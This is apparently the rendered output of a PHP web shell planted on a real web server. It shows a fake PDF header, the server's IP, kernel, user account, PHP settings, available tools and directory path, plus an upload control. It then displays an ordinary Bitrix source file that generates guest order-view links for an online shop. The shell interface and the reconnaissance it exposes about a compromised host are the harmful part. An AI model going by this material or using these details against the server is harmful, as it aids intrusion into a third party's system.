%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.217.183.10 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/helpers/ |
Upload File : |
<?php namespace Bitrix\Sale\Helpers; use Bitrix\Main\Config\Option, Bitrix\Sale, Bitrix\Main\Application, Bitrix\Main\SiteTable; class Order { /** * Check ability to view order is not an authorized user * * @param Sale\Order $order * * @return bool * @throws \Bitrix\Main\ArgumentNullException */ public static function isAllowGuestView(Sale\Order $order) { $guestStatuses = Option::get("sale", "allow_guest_order_view_status", ""); $guestStatuses = ($guestStatuses <> '') ? unserialize($guestStatuses, ['allowed_classes' => false]) : array(); return (is_array($guestStatuses) && in_array($order->getField('STATUS_ID'), $guestStatuses) && Option::get("sale", "allow_guest_order_view") === 'Y'); } /** * Return link to order for an unauthorized users. * * @param Sale\Order $order * * @return string * @throws \Bitrix\Main\ArgumentException * @throws \Bitrix\Main\ArgumentNullException */ public static function getPublicLink(Sale\Order $order) { $context = Application::getInstance()->getContext(); $scheme = $context->getRequest()->isHttps() ? 'https' : 'http'; $siteData = SiteTable::getList(array( 'filter' => array('LID' => $order->getSiteId()), )); $site = $siteData->fetch(); $paths = unserialize(Option::get("sale", "allow_guest_order_view_paths"), ['allowed_classes' => false]); $path = htmlspecialcharsbx($paths[$site['LID']]); if (isset($path) && mb_strpos($path, '#order_id#')) { $accountNumber = urlencode(urlencode($order->getField('ACCOUNT_NUMBER'))); $path = str_replace('#order_id#', $accountNumber,$path); if (mb_strpos($path, '/') !== 0) { $path = '/'.$path; } $path .= (mb_strpos($path, '?')) ? '&' : "?"; $path .= "access=".$order->getHash(); } else { return ""; } return $scheme.'://'.$site['SERVER_NAME'].$path; } }